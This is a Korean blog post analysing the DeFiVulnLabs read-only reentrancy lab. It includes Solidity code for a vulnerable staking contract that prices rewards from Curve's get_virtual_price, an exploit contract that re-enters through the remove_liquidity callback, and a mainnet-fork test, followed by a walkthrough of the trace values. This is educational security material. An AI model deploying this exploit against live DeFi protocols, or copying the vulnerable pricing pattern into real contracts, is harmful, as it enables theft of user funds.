새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - ReadOnlyReentrancy

  • -
반응형

Source Code

// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "forge-std/Test.sol"; import "./interface.sol"; // Video Reference - https://www.youtube.com/watch?v=0fgGTRlsDxI // forge test --contracts ./src/test/ReadOnlyReentrancy.sol -vv interface ICurve { function get_virtual_price() external view returns (uint); function add_liquidity(uint[2] calldata amounts, uint min_mint_amount) external payable returns (uint); function remove_liquidity(uint lp, uint[2] calldata min_amounts) external returns (uint[2] memory); function remove_liquidity_one_coin( uint lp, int128 i, uint min_amount ) external returns (uint); } address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E; //steCRV Token // VulnContract // users stake LP_TOKEN // getReward rewards the users based on the current price of the pool LP token contract VulnContract { IERC20 public constant token = IERC20(LP_TOKEN); ICurve private constant pool = ICurve(STETH_POOL); mapping(address => uint) public balanceOf; function stake(uint amount) external { token.transferFrom(msg.sender, address(this), amount); balanceOf[msg.sender] += amount; } function unstake(uint amount) external { balanceOf[msg.sender] -= amount; token.transfer(msg.sender, amount); } function getReward() external returns (uint) { //rewarding tokens based on the current virtual price of the pool LP token uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) / 1 ether; // Omitting code to transfer reward tokens return reward; } } contract ExploitContract { ICurve private constant pool = ICurve(STETH_POOL); IERC20 public constant lpToken = IERC20(LP_TOKEN); VulnContract private immutable target; constructor(address _target) { target = VulnContract(_target); } receive() external payable { // receive() is called when the remove_liquidity is called console.log("--------------------------------------------------------------------"); console.log("LP token price during remove_liquidity()", pool.get_virtual_price()); // Attack - Log reward amount uint reward = target.getReward(); console.log("Reward if Read-Only Reentrancy is invoked: ", reward); } // Stake LP into VulnContract function stakeTokens() external payable { uint[2] memory amounts = [msg.value, 0]; uint lp = pool.add_liquidity{value: msg.value}(amounts, 1); console.log("LP token price after staking into VulnContract", pool.get_virtual_price()); lpToken.approve(address(target), lp); target.stake(lp); } // Perform Read-Only Reentrancy // 원래 performReadOnlyReentrnacy 라고 되어있는데 불편해서 오타 수정함 function performReadOnlyReentrancy() external payable { // Add liquidity to Curve uint[2] memory amounts = [msg.value, 0]; uint lp = pool.add_liquidity{value: msg.value}(amounts, 1); // Log get_virtual_price console.log("LP token price before remove_liquidity()", pool.get_virtual_price()); // Remove liquidity from Curve // remove_liquidity() invokes the recieve() callback uint[2] memory min_amounts = [uint(0), uint(0)]; pool.remove_liquidity(lp, min_amounts); // Log get_virtual_price console.log("--------------------------------------------------------------------"); console.log("LP token price after remove_liquidity()", pool.get_virtual_price()); // Attack - Log reward amount uint reward = target.getReward(); console.log("Reward if Read-Only Reentrancy is not invoked: ", reward); } } contract ExploitTest is Test { ExploitContract public hack; VulnContract public target; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("mainnet"); target = new VulnContract(); // deploy the vulnerable contract hack = new ExploitContract(address(target)); // deploy attacker contract } function testPwn() public { hack.stakeTokens{value: 10 ether}(); // stake 10 eth in VulnContract hack.performReadOnlyReentrancy{value: 100000 ether}(); } }

코드 test 결과이다. 

LP token의 가격이 Reentrancy를 진입했을 때와 안 했을 때의 차이를 나타내고 있다.

Trace를 분석해야 하는데 너무 많아서 핵심만 가져 왔다.

pool address: 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022

performReadOnlyReentrancy() 함수를 실행시키면 add_liqudity()로 유동성을 추가한다.

pool의 현재 잔액은 520,882,342,163,258,726,300,438 ether이다.

add_liqudity() 결과 lp = 93940900950573308959711(0x13e48be3ce526593dbdf)이다.

get_virtual_price() 함수는 현재 pool에 대한 LP token가격이다.

get_virtual_price의 계산은 D * 1e18 * token_supply로 이루어져 있는 데 totalSupply()와 관련이 있는 것 같다.

LP 토큰의 totalSupply는 현재 1,021,068,987,362,603,817,841,384(0xd83842be66efebc132e8) 개다.

그래서 LP token의 가격은 1,064,408,552,508,872,012(0xec589f0642dd54c) 이다.

remove_liquidity() 함수에서 유동성을 제거하는 데 if문에서 reentrancy가 발생한다.

i == 0이면 msg.sender로 다시 call을 한다.

이 부분에서 totalSupply가 감소하는 데 그러면 get_virtua_price()가 올라간다.

그러면 reward가 현재 시세보다 많이 받게 된다.

reentrancy를 통해 얻은 reward는 10,495,484,923,582,515,550이다.

totalSupply의 감소로 reentrancy보다 적은 값을 받았다. 10,009,265,312,277,005,641이다.

이러한 flow로 취약점이 발생한다.

receive() external payable { // receive() is called when the remove_liquidity is called console.log("--------------------------------------------------------------------"); console.log("LP token price during remove_liquidity()", pool.get_virtual_price()); // Attack - Log reward amount uint reward = target.getReward(); console.log("Reward if Read-Only Reentrancy is invoked: ", reward); } // Perform Read-Only Reentrancy function performReadOnlyReentrnacy() external payable { // Add liquidity to Curve uint[2] memory amounts = [msg.value, 0]; uint lp = pool.add_liquidity{value: msg.value}(amounts, 1); // Log get_virtual_price console.log("LP token price before remove_liquidity()", pool.get_virtual_price()); // Remove liquidity from Curve // remove_liquidity() invokes the recieve() callback uint[2] memory min_amounts = [uint(0), uint(0)]; pool.remove_liquidity(lp, min_amounts); // Log get_virtual_price console.log("--------------------------------------------------------------------"); console.log("LP token price after remove_liquidity()", pool.get_virtual_price()); // Attack - Log reward amount uint reward = target.getReward(); console.log("Reward if Read-Only Reentrancy is not invoked: ", reward); } }

취약점을 도식화하면 다음 그림과 같다.

반응형

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.